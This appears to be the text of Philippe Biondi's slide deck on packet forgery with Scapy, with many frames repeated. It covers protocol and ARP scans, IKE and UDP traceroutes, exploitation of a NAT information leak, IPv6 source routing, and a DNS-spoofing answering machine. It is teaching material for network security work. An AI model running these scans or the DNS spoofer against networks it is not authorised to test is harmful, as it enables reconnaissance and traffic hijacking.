Possible result visualization: recognized protocols

```
unans.nsummary(prn=lambda s:s.proto)
```
IP protocol scan with fixed TTL

- Send IP packets with every possible value in the protocol field and a well chosen TTL
- Protocol not filtered by the router $\rightarrow$ ICMP *time exceeded in transit*

**Sending packets**

```
res,unans = sr( IP(dst="target", proto=(0,255),
            ttl=7)/"XX",
            retry=-2 )
```

**Possible result visualization: filtered protocols**

```
unans.nsummary(prn=lambda s:s.proto)
```
ARP ping

- Ask every IP of our neighbourhood for its MAC address
  - Quickly find alive IP
  - Even firewalled ones (firewalls usually don’t work at Ethernet or ARP level)

Sending packets

```python
res, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst="192.168.1.0/24"))
```

Possible result visualization: neighbours

```python
res.summary(
    lambda (s, r): r.sprintf("%Ether.src% %ARP.psrc%")
)
```

Note: The high-level function `arping()` does that.
IKE scan

- Scan with an ISAKMP Security Association proposal
  ➔ VPN concentrators will answer

Sending packets

```python
res, unans = sr( IP(dst="192.168.1.*")
    /UDP()
    /ISAKMP(init_cookie=RandString(8),
        exch_type="identity prot.")
    /ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal())
)
```

Possible result visualization: VPN concentrators list

```python
res.nsummary(
    prn=lambda (s,r): r.src,
    filter=lambda (s,r): r.haslayer(ISAKMP) )
```
Outline

1 Problematic
   - State of the art
   - Arbitrary limitations
   - Decode or interpret?

2 Scapy
   - Concepts
   - Quick overview
   - High-level commands
   - Extending Scapy

3 Network discovery and attacks
   - One shots
   - Scanning
   - TTL tricks

4 Conclusion
Applicative UDP Traceroute

- Tracerouting an UDP application like we do with TCP is not reliable (no handshake)
- We need to give an applicative payload (DNS, ISAKMP, NTP, ...) to deserve an answer

Send packets

```python
res, unans = sr(IP(dst="target", ttl=(1, 20)) /UDP() /DNS(qd=DNSQR(qname="test.com")))
```

Possible result visualization: List of routers

```python
res.make_table(lambda (s, r): (s.dst, s.ttl, r.src))
```
NAT finding

- Do a TCP traceroute or a UDP applicative traceroute
- If the target IP answers an ICMP *time exceeded in transit* before answering to the handshake, there is a Destination NAT

```python
>>> traceroute("4.12.22.7",dport=443)
Received 31 packets, got 30 answers, remaining 0 packets

  4.12.22.7:tcp443
  1 52.10.59.29  11
  2 41.54.20.133 11
  3 13.22.161.98 11
  4 22.27.5.161  11
  5 22.27.5.170  11
  6 23.28.4.24  11
  7 4.12.22.7  11
  8 4.12.22.7  SA
  9 4.12.22.7  SA
```
NAT finding

- Do a TCP traceroute or a UDP applicative traceroute
- If the target IP answers an ICMP *time exceeded in transit* before answering to the handshake, there is a Destination NAT

```python
>>> traceroute("4.12.22.7", dport=443)
Received 31 packets, got 30 answers, remaining 0 packets
  4.12.22.7:tcp443
  1 52.10.59.29 11
  2 41.54.20.133 11
  3 13.22.161.98 11
  4 22.27.5.161 11
  5 22.27.5.170 11
  6 23.28.4.24 11
  7 4.12.22.7 11
  8 4.12.22.7 SA
  9 4.12.22.7 SA
```
NAT leaks
We’ve found a DNAT. How to find the real destination?

● Some NAT programs have the following bug:
  ● they NAT the packet
  ● they decrement the TTL
  ● if the TTL expired, send an ICMP message with the packet as a citation
  ➔ ohoh, they forgot to unNAT the citation!

● Side effects
  ● the citation does not match the request
  ➔ (real) stateful firewalls don’t recognize the ICMP message and drop it
  ➔ traceroute and programs that play with TTL don’t see it either
NAT leaks
We’ve found a DNAT. How to find the real destination?

- Some NAT programs have the following bug:
  - they NAT the packet
  - they decrement the TTL
  - if the TTL expired, send an ICMP message with the packet as a citation
    \(\Rightarrow\) ohoh, they forgot to unNAT the citation!

- Side effects
  - the citation does not match the request
    \(\Rightarrow\) (real) stateful firewalls don’t recognize the ICMP message and drop it
    \(\Rightarrow\) traceroute and programs that play with TTL don’t see it either
NAT leaks
We’ve found a DNAT. How to find the real destination?

- Some NAT programs have the following bug:
  - they NAT the packet
  - they decrement the TTL
  - if the TTL expired, send an ICMP message with the packet as a citation
  ⇒ ohoh, they forgot to unNAT the citation!

- Side effects
  - the citation does not match the request
  ⇒ (real) stateful firewalls don’t recognize the ICMP message and drop it
  ⇒ *traceroute* and programs that play with TTL don’t see it either
NAT leaks
We’ve found a DNAT. How to find the real destination?

```python
>>> traceroute("4.12.22.8", dport=443)
Received 31 packets, got 30 answers, remaining 0 packets
    4.12.22.8:tcp443
  1 52.10.59.29 11
  2 41.54.20.133 11
  3 13.22.161.98 11
  4 22.27.5.161 11
  5 22.27.5.170 11
  6 23.28.4.24 11
  missing hop 7
  8 4.12.22.8  SA
  9 4.12.22.8  SA
```
NAT leaks
We’ve found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

>>>
NAT leaks
We’ve found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

```python
>>> conf.checkIPsrc = 0
```
NAT leaks
We’ve found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

```plaintext
>>> conf.checkIPsrc = 0
>>> ans,unans = traceroute("4.12.22.8",dport=443)
Received 31 packets, got 30 answers, remaining 0 packets
  4.12.22.8:tcp443
  1 52.10.59.29  11
  2 41.54.20.133 11
  3 13.22.161.98 11
  4 22.27.5.161  11
  5 22.27.5.170  11
  6 23.28.4.24   11
  7 4.12.22.8    11
  8 4.12.22.8    SA
  9 4.12.22.8    SA
```
NAT leaks
We’ve found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

```python
>>> conf.checkIPsrc = 0
>>> ans,unans = traceroute("4.12.22.8", dport=443)
[...]
6 23.28.4.24 11
7 4.12.22.8 11
8 4.12.22.8 SA
```
NAT leaks
We've found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

```python
>>> conf.checkIPsrc = 0
>>> ans, unans = traceroute("4.12.22.8", dport=443)
[...]
6 23.28.4.24 11
7 4.12.22.8 11
8 4.12.22.8 SA
>>> ans[6][1]
```
NAT leaks
We’ve found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

```python
>>> conf.checkIPsrc = 0
>>> ans, unans = traceroute("4.12.22.8", dport=443)
[...]
6 23.28.4.24 11
7 4.12.22.8 11
8 4.12.22.8 SA
>>> ans[6][1]
< IP version=4L ihl=5L tos=0xc0 len=68 id=38097 flags= frag=0L
ttl=49 proto=ICMP chksum=0xb7db src=4.12.22.8 dst=172.16.1.1
options=’’ |< ICMP type=time-exceeded code=0 chksum=0x358
id=0x0 seq=0x0 |< IPerrror version=4L ihl=5L tos=0x0 len=40 id=1
flags= frag=0L ttl=1 proto=TCP chksum=0xab92 src=172.16.1.1
dst=192.168.8.2 options=’’ |< TCPerrror sport=20 dport=22
seq=0L ack=0L dataofs=5L reserved=16L flags=S window=0
chksum=0x8a37 urgptr=0 |>>>>>
```
NAT leaks
We’ve found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

```python
>>> conf.checkIPsrc = 0
>>> ans, unans = traceroute("4.12.22.8", dport=443)
[...]
6 23.28.4.24 11
7 4.12.22.8 11
8 4.12.22.8 SA
>>> ans[6][1]
< IP version=4L ihl=5L tos=0xc0 len=68 id=38097 flags= frag=0L
ttl=49 proto=ICMP chksum=0xb7db src=4.12.22.8 dst=172.16.1.1
options='' |< ICMP type=time-exceeded code=0 chksum=0x358
id=0x0 seq=0x0 |< IPerr version=4L ihl=5L tos=0x0 len=40 id=1
flags= frag=0L ttl=1 proto=TCP chksum=0xab92 src=172.16.1.1
dst=192.168.8.2 options='' |< TCPerr sport=20 dport=22
seq=0L ack=0L dataofs=5L reserved=16L flags=S window=0
chksum=0x8a37 urgptr=0 |>>>>>
```
NAT leaks
We’ve found a DNAT. How to find the real destination?

*Scapy* is able to handle that:

```python
>>> conf.checkIPsrc = 0
>>> ans,unans = traceroute("4.12.22.8",dport=443)
[...]  
6 23.28.4.24 11  
7 4.12.22.8 11  
8 4.12.22.8 SA
>>> ans[6][1]
< IP version=4L ihl=5L tos=0xc0 len=68 id=38097 flags= frag=0L  
ttl=49 proto=ICMP chksum=0xb7db src=4.12.22.8 dst=172.16.1.1  
options=’’ |< ICMP type=time-exceeded code=0 chksum=0x358  
id=0x0 seq=0x0 |< IPerror version=4L ihl=5L tos=0x0 len=40 id=1  
flags= frag=0L ttl=1 proto=TCP chksum=0xab92 src=172.16.1.1  
dst=192.168.8.2 options=’’ |< TCPerror sport=20 dport=22  
seq=0L ack=0L dataofs=5L reserved=16L flags=S window=0  
chksum=0x8a37 urgptr=0 |>>>>>
```
NAT enumeration
How many boxes behind this IP?

```python
>>> a,b=sr( IP(dst="target")/TCP(sport=[RandShort()]*1000) )
>>> a.plot(lambda (s,r): r.id)
```
NAT enumeration
How many boxes behind this IP?

```python
>>> a,b=sr(IP(dst="target")/TCP(sport=[RandShort()]*1000))
>>> a.plot(lambda (s,r): r.id)
```
NAT enumeration
How many boxes behind this IP?

www.apple.com
www.google.com
www.yahoo.fr
www.cisco.com
www.microsoft.com
www.kernel.org
Conclusion

Some supported protocols
ARP, BOOTP, DHCP, DNS, 802.11, WEP, 802.3, Ethernet, 802.1q, L2CAP, LLC, SNAP, EAP, HSRP, IP, UDP, TCP, ISAKMP, MobileIP, NBTSession, NTP, PPP, PPPoE, Prism Headers, RIP, STP, Sebek, Skinny, SMBMailSlot . . .

Some applications
ARP cache poisonning, VLAN hopping, DNS spoofing, OS fingerprinting, DoSing, Dynamic DNS updates, traceroutes, scanning, network discovery, Access Point Spoofing, Wi-Fi signal strength measuring, DHCP server, DHCP spoofing, DHCP exhaustion, . . .
Conclusion

Limitations

- Can’t handle too many packets. Won’t replace a mass-scanner.
- Usually don’t interpret for you. You must know what you’re doing.
- Stimulus/response(s) model. Won’t replace *netcat*, *socat*, . . . easily
Conclusion
Pros

- *Scapy* has its own ARP stack and its own routing table.
- *Scapy* works the same for layer 2 and layer 3.
- *Scapy* bypasses local firewalls.
- Fast packet designing.
- Default values that work.
- Unlimited combinations.
- Probe once, interpret many.
- Interactive packet and result manipulation.

⇒ Extremely powerful architecture for your craziest dreams (I hope so!)
Future

- IPv6 (G. Valadon/A. Ébalard)
- more protocols
- Bluetooth
- USB
- ...
>>> r=sr1(IPv6(dst='target.ad.jp')/ICMPv6EchoRequest())

Begin emission:
..*Finished to send 1 packets.
Received 3 packets, got 1 answers, remaining 0 packets
>>> r.show()

###[ IPv6 ]###
  version= 6L
tc= 0L
fl= 0L
plen= 10
nh= ICMPv6
hlim= 64
src= 2001:200:0:1cd1:211:43ff:1ead:2b1c
dst= 2001:200:0:1cd1:211:43ff:1ead:2b1c

###[ ICMPv6 Echo Reply ]###
type= Echo reply
code= 0
cksum= 0x122
id= 0x0
Spoilers...
Routing Header aka source routing

```python
>>> r=sr1(IPv6(dst='2001:6b0:1::1:5')
/IPv6OptionHeaderRouting(addresses=[‘2001:4f8:4:7:2e0:81ff:fe52:9a6b’])
/ICMPv6EchoRequest())
Begin emission:
...*Finished to send 1 packets.
Received 5 packets, got 1 answers, remaining 0 packets
>>> r.show()
###[ IPv6 ]###
   version= 6L
tc= 0L
fl= 0L
plen= 10
nh= ICMPv6
hlim= 60
   src= 2001:4f8:4:7:2e0:81ff:fe52:9a6b
dst= 2001:200:0:1cd1:211:43ff:fecd:3b1c
###[ ICMPv6 Echo Reply ]###
type= Echo reply
code= 0
cksum= 0x7d4c
id= 0x0
```
## Spoilers...

Boomerang IPv6 traceroute

<table>
<thead>
<tr>
<th>Hop</th>
<th>Destination was</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2001:200:0:1cd1::17</td>
</tr>
<tr>
<td>2</td>
<td>2001:200:0:1c04:230:13ff:feae:5b</td>
</tr>
<tr>
<td>3</td>
<td>2001:200:0:4800:7800:1</td>
</tr>
<tr>
<td>4</td>
<td>2001:200:0:2::6800:1</td>
</tr>
<tr>
<td>5</td>
<td>2001:200:0:1c04:290:6900:4cf:541f</td>
</tr>
<tr>
<td>6</td>
<td>2001:200:0:1cd1:211:43ff:fecd:3b1c BINGO :)</td>
</tr>
</tbody>
</table>
That’s all folks!
Thanks for your attention.
You can reach me at phil@secdev.org
These slides are online at http://www.secdev.org/
Part I

Appendix
Appendices

5 References

6 Additional material
- Learning Python in 2 slides
- Answering machines
- The sprintf() method
- Zoomed frames
References I

- P. Biondi, *Scapy*
  
  http://www.secdev.org/projects/scapy/

- Ed3f, 2002, *Firewall spotting with broken CRC*, Phrack 60
  
  http://www.phrack.org/phrack/60/p60-0x0c.txt

- Ofir Arkin and Josh Anderson, *Etherleak: Ethernet frame padding information leakage*,
  
  http://www.atstake.com/research/advisories/2003/atstake_etherleak_re

- P. Biondi, 2002 *Linux Netfilter NAT/ICMP code information leak*
  
P. Biondi, 2003 *Linux 2.0 remote info leak from too big icmp citation*
http://www.secdev.org/adv/CARTSA-20030314-icmpleak
References

Additionnal material

- Learning Python in 2 slides
- Answering machines
- The sprintf() method
- Zoomed frames
Learning Python in 2 slides (1/2)

- This is an `int` (signed, 32bits): 42
- This is a `long` (signed, infinite): 42L
- This is a `str`: "bell\x07\n" or 'bell\x07\n' (" ⇐⇒ ’)
- This is a `tuple` (immutable): (1,4,"42")
- This is a `list` (mutable): [4,2,"1"]
- This is a `dict` (mutable): { "one":1 , "two":2 }
Learning Python in 2 slides (2/2)

No block delimiters. **Indentation does matter.**

```python
if cond1:
    instr
    instr
elif cond2:
    instr
else:
    instr
```

```python
while cond:
    instr
    instr
```

```python
def fact(x):
    if x == 0:
        return 1
    else:
        return x*fact(x-1)
```

```python
try:
    instr
except exception:
    instr
else:
    instr
```

```python
for var in set:
    instr
```

```python
lambda x, y: x+y
```

Philippe BIONDI

Network packet forgery with Scapy
References

Additionnal material

- Learning Python in 2 slides
- Answering machines
- The sprintf() method
- Zoomed frames
Answering machines

- An answering machine enables you to quickly design a stimulus/response daemon
- Already implemented: fake DNS server, ARP spoofer, DHCP daemon, FakeARPd, Airpwn clone

Interface description

```python
class Demo_am(AnsweringMachine):
    function_name = "demo"
    filter = "a bpf filter if needed"
    def parse_options(self, ...):
        ...
    def is_request(self, req):
        # return 1 if req is a request
    def make_reply(self, req):
        # return the reply for req
```
Answering machines
Using answering machines

- The class must be instanciated
- The parameters given to the constructor become default parameters
- The instance is a callable object whose default parameters can be overloaded
- Once called, the instance loops, sniffs and answers stimuli

Side note:
Answering machine classes declaration automatically creates a function, whose name is taken in the function name class attribute, that instantiates and runs the answering machine. This is done thanks to the ReferenceAM metaclass.
class DNS_am(AnsweringMachine):
    function_name="dns_spoof"
    filter = "udp port 53"

    def parse_options(self, joker="192.168.1.1", zone=None):
        if zone is None:
            zone = {}
        self.zone = zone
        self.joker = joker

    def is_request(self, req):
        return req.haslayer(DNS) and req.getlayer(DNS).qr == 0

    def make_reply(self, req):
        ip = req.getlayer(IP)
        dns = req.getlayer(DNS)
        resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport, sport=dns.dport)/
            DNS(id=dns.id, qr=1, qname=dns.qname, rdata=rdata)
        resp /= DNSRR(rrname=dns.qname, ttl=10, rdata=rdata)
        return resp
Outline

5 References

6 Additional material
- Learning Python in 2 slides
- Answering machines
- The sprintf() method
- Zoomed frames
The `sprintf()` method
Advanced formatting syntax

Exact directive format is `%[fmt[r],]cls[:nb].field%`.

- `cls` is the name of the target class
- `field` is the field’s name
- `nb` ask for the nb\textsuperscript{th} instance of the class in the packet
- `fmt` is a formatting directive à la `printf()`
- `r` is a flag whose presence means that you want the field’s value instead of its representation

Example

```python
>>> a=IP(id=10)/IP(id=20)/TCP(flags="SA")
>>> a.sprintf("%IP.id% %IP:1.id% %IP:2.id%")
'10 10 20'
>>> a.sprintf("%TCP.flags%|%-5s,TCP.flags%|%#5xr,TCP.flags%")
'SA|SA   | 0x12'
```
The `sprintf()` method

Conditional substrings

- You sometimes need to summarize different kinds of packets with only one format string
- A conditionnal substring looks like: `{cls:substring}`
- If `cls` is a class present in the packet, the substring is kept in the format string, else it is removed

Example

```python
>>> f = lambda p:
    p.sprintf("This is a\{TCP: TCP\}{UDP:n UDP}\{ICMP:n ICMP\} packet")

>>> f(IP()/TCP())
'This is a TCP packet'
>>> f(IP()/ICMP())
'This is an ICMP packet'
>>> p = sr1(IP(dst="www.yahoo.com", ttl=16)/TCP())

>>> p.sprintf("\{IP:%IP.src% \{ICMP:%ICMP.type%\}{TCP:%TCP.flags%}\}"")
'216.109.118.65 SA' or '216.109.88.86 time-exceeded'
```
<table>
<thead>
<tr>
<th>References</th>
<th>Learning Python in 2 slides</th>
</tr>
</thead>
<tbody>
<tr>
<td>Additionnal material</td>
<td>Answering machines</td>
</tr>
<tr>
<td></td>
<td>The sprintf() method</td>
</tr>
<tr>
<td></td>
<td>Zoomed frames</td>
</tr>
</tbody>
</table>
NAT enumeration: www.apple.com
NAT enumeration: www.cisco.com
NAT enumeration: www.google.com
NAT enumeration: www.microsoft.com
NAT enumeration: www.yahoo.fr
NAT enumeration: www.kernel.org